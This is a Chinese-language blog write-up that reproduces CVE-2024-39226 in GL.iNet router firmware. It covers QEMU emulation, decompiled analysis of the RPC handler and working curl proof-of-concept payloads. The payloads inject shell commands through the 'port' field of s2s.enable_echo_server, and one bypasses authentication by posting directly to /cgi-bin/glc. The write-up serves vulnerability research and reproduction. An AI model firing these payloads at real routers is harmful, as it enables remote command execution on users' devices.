CVE-2024-39226复现

基本概述

GL.iNet 开发基于 OpenWrt 的智能路由器,OpenWrt 是一个可扩展的开源嵌入式操作系统

OpenResty 则是基于 Nginx 的高性能 Web 平台,结合 Lua 脚本,适合高并发和复杂逻辑处理

固件仿真

固件get

GL.iNet 固件下载中心 (gl-inet.cn)

image-20240930144948506

程序关键文件在解压后的root文件系统中

image-20240930145115796

架构解析

binwalk解压

❯ file root
root: Squashfs filesystem, little endian, version 4.0, xz compressed, 44613986 bytes, 4754 inodes, blocksize: 262144 bytes, created: Thu Mar 21 13:28:00 2024
❯ binwalk -Me root

image-20240930152527649busybox的文件结构

❯ file busybox
busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-arm.so.1, no section header

==32位小序端的ARM架构==

image-20240930152445164

qemu模拟

环境配置

arm的镜像Index of /~aurel32/qemu/armhf (debian.org)

mlinuz-3.2.0-4-vexpress  linux内核镜像文件
initrd.img-3.2.0-4-vexpress  RAM磁盘映像文件
debian_wheezy_armhf_standard.qcow2  虚拟磁盘映像文件
image-20240930153616060

环境模拟

更改内存分配(不然有报错)

qemu-img resize debian_wheezy_armhf_standard.qcow2 32G

qemu启动

sudo qemu-system-arm -M vexpress-a9 -cpu cortex-a15 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

网卡配置

安装依赖

sudo apt-get install bridge-utils uml-utilities

配置主机通信文件

#!/bin/bash

# 启用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=1

# 重置 iptables 规则
sudo iptables -t nat -F                     # 清空 NAT 表中的所有规则
sudo iptables -t nat -X                     # 删除自定义链
sudo iptables -P FORWARD ACCEPT             # 设置 FORWARD 链的默认策略为 ACCEPT,允许所有转发的数据包通过

# 设置 NAT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE

# 允许 tap0 接口上的流量
sudo iptables -I FORWARD -i tap0 -j ACCEPT
sudo iptables -I FORWARD -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

# 创建并配置 tap0 接口
sudo ip tuntap add dev tap0 mode tap         # 创建一个 TAP 类型的虚拟网络接口 tap0
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0 up  # 为 tap0 配置 IP 地址和子网掩码,并启用接口

如果之前复现过CVE的话,可能存在创建过的tap0我网卡,未被删除(这里可以进行删除)

sudo ip link delete tap0
image-20241110144044291

即是创建成功

虚拟系统通信文件

使用echo创建(虚拟系统没有vim等)

echo '#!/bin/sh' >> net.sh
echo "ifconfig eth0 192.168.100.2 netmask 255.255.255.0" >> net.sh
echo "route add default gw 192.168.100.254" >> net.sh

系统通信文件传输

基本步骤

  • 主机运行net.sh
image-20241110152503304
  • 虚拟系统运行net.sh
image-20241110152542659
  • 文件传输(主机该传输文件目录下运行)
scp squashfs-root.gz root@192.168.100.2:/root
image-20241110152407602

注意事项

  • 主机要开启ssh服务
sudo systemctl status ssh#检查是否运行
sudo systemctl start ssh#启动ssh服务
sudo systemctl enable ssh#保证ssh自动运行
  • 压缩文件后传输更快
tar -zcvf squashfs-root.gz squashfs-root

文件系统挂载

这里就可以对文件系统进行挂载仿真运行

虚拟系统下解压root文件

tar -zxvf squashfs-root.gz

挂载文件系统

mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh

报错处理

这里一直出现Illegal instruction的报错无法解决(我一开始将这里的cpu版本使用的a9,我使用a15会出现报错,原因是qemu的版本是8.0,版本过高导致cpu不兼容,这里重新编译一个4.2版本的qemu进行仿真)

https://download.qemu.org/qemu-4.2.0.tar.xz#源码链接
#配置指令,所幸我的配置过程没有出现报错一路畅通
tar -xf qemu-4.2.0.tar.xz
cd qemu-4.2.0/
mkdir build
sudo ./configure --prefix=./build
sudo make -j8

查找qemu安装位置

sudo find / -name qemu-system-arm 2>/dev/null

再次运行配置的qemu4.2启动系统仿真即可

sudo /home/iot/Desktop/qemu/qemu4.2/qemu-4.2.0/arm-softmmu/qemu-system-arm \
    -M vexpress-a9 -cpu cortex-a15 \
    -kernel vmlinuz-3.2.0-4-vexpress \
    -initrd initrd.img-3.2.0-4-vexpress \
    -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
    -append "root=/dev/mmcblk0p2" \
    -net nic -net tap,ifname=tap0,script=no,downscript=no \
    -nographic
image-20241112202222573

启动服务

nginx框架

etc/init.d文件夹包含了大部分的启动配置文件,查阅资料我们知道这个路由通过OpenResty服务来运作以及管理web服务的,并且OpenResty基于nginx,那么应该启动nginx

image-20241112210019377

启动条件配置

image-20241112210141940
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;'
image-20241112210248737

可以看到这里出现了文件确缺失

创建缺失文件

mkdir -p /var/log/nginx
touch /var/log/nginx/error.log
chmod 644 /var/log/nginx/error.log
mkdir -p /var/lib/nginx/body
mkdir -p /var/run
touch /var/run/nginx.pid

访问失败修复

查看其他相关的nginx文件,尝试进行修复

image-20241112211615837

可以看到这里的一个nginx-out文件(配置和调整Nginx的相关文件,确保Web服务能够正常运行)

运行 /etc/uci-defaults/80_nginx-oui 进行修复

image-20241112211949329

访问服务

启动nginx服务

/usr/sbin/nginx

这里vm上面起的qemu,choroot切换目录,实在是卡,所以我们关闭重新运行一次

(注意记得在主机和qemu的仿真系统启动net.sh,再chroot切换目录)

访问web页面

访问穿出来的ip地址

image-20241217212914760
image-20241217213455152

漏洞分析

这里我们从poc出出发,分析这个漏洞的成因

测试漏洞poc

远程测试:

curl -H 'glinet: 1' 192.168.100.2/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'
image-20241217214418521

这里拒绝连接,访问不了,就先选择本地测试一下

本地测试:

curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'
image-20241217214258788

通过这里的internal error定位到函数

image-20241218162720873

这个error调用到了error_response

image-20241218163006842

rpc方法分析

根据poc的请求是rpc的路径,我们进入/etc/nginx/conf.d/gl.conf查看请求rpc路径的处理方法

image-20241218145915561

查看这个路径下的lua文件

/usr/share/gl-ngx/oui-rpc.lua

oui-rpc.lua

处理HTTP POST请求 jSON-RPC调用,仅支持POST访问,这里要启动ubus服务(==OpenWrt系统中一个进程间通信框架==)

image-20241218150030571

可以看到这里的很多处理rpc的方法

image-20241218150510375

POC这里使用的 call方法调用s2s.enable_echo_server进行攻击

image-20241218151117516

rpc.lua

根据定位到这里的函数,在这个路径下的验证方法

/usr/lib/lua/oui/rpc.lua
image-20241218152037225

==调用call的条件==

  • 参数大于三个
  • sid, object, method必须是字符串
  • args如果存在则是必须是表
  • sid是否有效
  • 请求是否需要验证
  • 是否是本地访问且请求头是glinet

M.call

==rpc调用处理的核心函数==

image-20241218154224442

s2s.so文件通过glc_call 调用 /cgi-bin/glc执行,从而实现rpc方法

cgi-bin/glc

可以看到处理逻辑和前面的lua脚本基本一致,请求方式验证和读取请求体后动态加载并调用函数

==glc使用dlopen加载so文件,然后再利用dlsym去调用so中对应的函数==

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char *v4; // r0
  char *v5; // r0
  char *v6; // r4
  int v7; // r5
  ssize_t v8; // r0
  int v9; // r4
  void *v10; // r0
  void *v11; // r5
  char *v12; // r0
  int (__fastcall *v13)(int, int); // r7
  char *v14; // r0
  int v15; // r0
  int v16; // r6
  int v17; // r7
  const char *v18; // r0
  const char *v19; // r0
  char *v21; // r0
  int v22; // r7
  char *v23; // r0
  char *v24; // r8
  int v25; // r11
  char *v26; // r0
  int v27; // r6
  char *v28; // r0
  const char *v30; // [sp+24h] [bp-1B4h] BYREF
  char *name; // [sp+28h] [bp-1B0h] BYREF
  int v32; // [sp+2Ch] [bp-1ACh] BYREF
  char s[128]; // [sp+30h] [bp-1A8h] BYREF
  char v34[252]; // [sp+B0h] [bp-128h] BYREF
  int v35; // [sp+1ACh] [bp-2Ch]

  v35 = edata;
  v32 = 0;
  if ( getenv("CGI_DEBUG") )
  {
    v4 = getenv("CGI_DEBUG");
    __gl_log(69505, 47, 0, "glc running, get env CGI_DEBUG=%s\n", v4);
    v5 = getenv("REQUEST_METHOD");
    if ( strcmp(v5, "POST") )
    {
      __gl_log(69505, 51, 0, "glc exit code 403\n");
LABEL_4:
      puts("Status: 403 Forbidden\n");
      return 0;
    }
    v23 = getenv("CONTENT_LENGTH");
    v27 = atoi(v23);
    v24 = (char *)calloc(1u, v27 + 1);
    if ( v24 )
    {
      v25 = 1;
      goto LABEL_5;
    }
    __gl_log(69505, 60, 0, "glc exit code 500\n");
LABEL_9:
    puts("Status: 500 Internal Server Error\n");
    printf("No mem");
    return 0;
  }
  v21 = getenv("REQUEST_METHOD");
  if ( strcmp(v21, "POST") )
    goto LABEL_4;
  v26 = getenv("CONTENT_LENGTH");
  v27 = atoi(v26);
  v28 = (char *)calloc(1u, v27 + 1);
  v24 = v28;
  if ( !v28 )
    goto LABEL_9;
  v25 = 0;
LABEL_5:
  if ( v27 > 0 )
  {
    v6 = v24;
    v7 = 0;
    do
    {
      v8 = read(0, v6, 0x1000u);
      if ( v8 <= 0 )
        break;
      v7 += v8;
      v6 += v8;
    }
    while ( v7 < v27 );
  }
  puts("Content-type: text/plain\n");
  v9 = json_loads(v24, 0);
  free(v24);
  if ( !v9 )
  {
    if ( v25 )
      __gl_log(69505, 82, 0, "glc exit code RPC_ERROR_CODE_PARSE_ERROR\n");
    printf((const char *)dword_11054, -32700);
    return 0;
  }
  if ( json_unpack_ex(v9, v34, 0, 69720, "object", &v30, "method", &name, 69736, &v32) < 0 )
  {
    printf((const char *)dword_11054, -32602);
LABEL_37:
    if ( v25 )
      __gl_log(69505, 129, 0, "glc exit\n");
    sub_10990(v9);
    return 0;
  }
  snprintf(s, 0x80u, "%s/%s.so", "/usr/lib/oui-httpd/rpc", v30);
  v10 = dlopen(s, 2);
  v11 = v10;
  if ( !v10 )
  {
    v12 = dlerror();
    printf("%d dlopen: %s", -32601, v12);
    goto LABEL_37;
  }
  v13 = (int (__fastcall *)(int, int))dlsym(v10, name);
  if ( v13 )
  {
    if ( argc > 3 )
      v32 = json_loads(argv[3], 0);
    if ( !v32 )
      v32 = json_object();
    v15 = json_object();
    v16 = v15;
    if ( v25 )
    {
      __gl_log(69505, 116, 0, "glc call meth %s/%s\n", v30, name);
      v17 = v13(v32, v16);
      __gl_log(69505, 118, 0, "glc call end,ret = %d\n", v17);
      printf((const char *)dword_11054, v17);
      if ( v17 )
      {
LABEL_30:
        sub_10990(v32);
        sub_10990(v16);
        goto LABEL_41;
      }
      v18 = (const char *)json_dumps(v16, 0);
      __gl_log(69505, 121, 0, "glc call result %s\n", v18);
    }
    else
    {
      v22 = v13(v32, v15);
      printf((const char *)dword_11054, v22);
      if ( v22 )
        goto LABEL_30;
    }
    v19 = (const char *)json_dumps(v16, 0);
    printf(" %s", v19);
    goto LABEL_30;
  }
  v14 = dlerror();
  printf("%d dlsym: %s", -32601, v14);
LABEL_41:
  if ( v25 )
    __gl_log(69505, 129, 0, "glc exit\n");
  sub_10990(v9);
  dlclose(v11);
  return 0;
}

漏洞复现

整个poc基本分析完毕,我们尝试对这个漏洞进行利用

通过前面的分析,我们需要启动ubus服务以及根据ubus启动的报错定位

启动配置服务

启动fcgowrap服务

/usr/bin/fcgiwrap -c 4 -s unix:/var/run/fcgiwrap.socket &

启动ubus服务

/sbin/ubusd &

启动调试

重新启动nginx程序

image-20241219112521348

漏洞攻击

攻击poc

curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'

可以看到利用成功

整体利用过程

image-20241219113930801

拓展漏洞利用

这里的漏洞利用只能是在本地进行利用,我们继续分析看看能不能扩展到远程的利用方式

漏洞触发分析

主要思路是通过s2s API传递恶意 shell 命令,再分析/usr/lib/oui-httpd/rpc/s2s.so调用

定位到漏洞触发点

s2s.enable_echo_server检查并启动echo_serve
image-20241219120741022
  • port参数检测:验证是否为正数且小于 65535
  • 字符串形式,允许嵌入特殊字符
  • port 参数 (v9) 被直接传递给 snprintf 函数,生成后通过system(v27)执行 v9可以包含类似 $(touch /root/test) 的字符串,shell 会执行其中的命令 touch /root/test

拓展权限

==绕过rpc.access的权限校验执行call指令==

直接请求/cgi-bin/glc的路径→调用glc_call函数→指向内部路径(/cgi-bin/glc)→发起内部HTTP POST请求(传递方法名称,参数信息)→执行call方法

image-20241219144905980

就可以绕过前面的权限校验,更新poc

curl http://192.168.100.2/cgi-bin/glc -d '{"object":"s2s","method":"enable_echo_server","args":{"port":"7 $(touch /root/test2024)"}}'

成功利用

image-20241219144404289
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇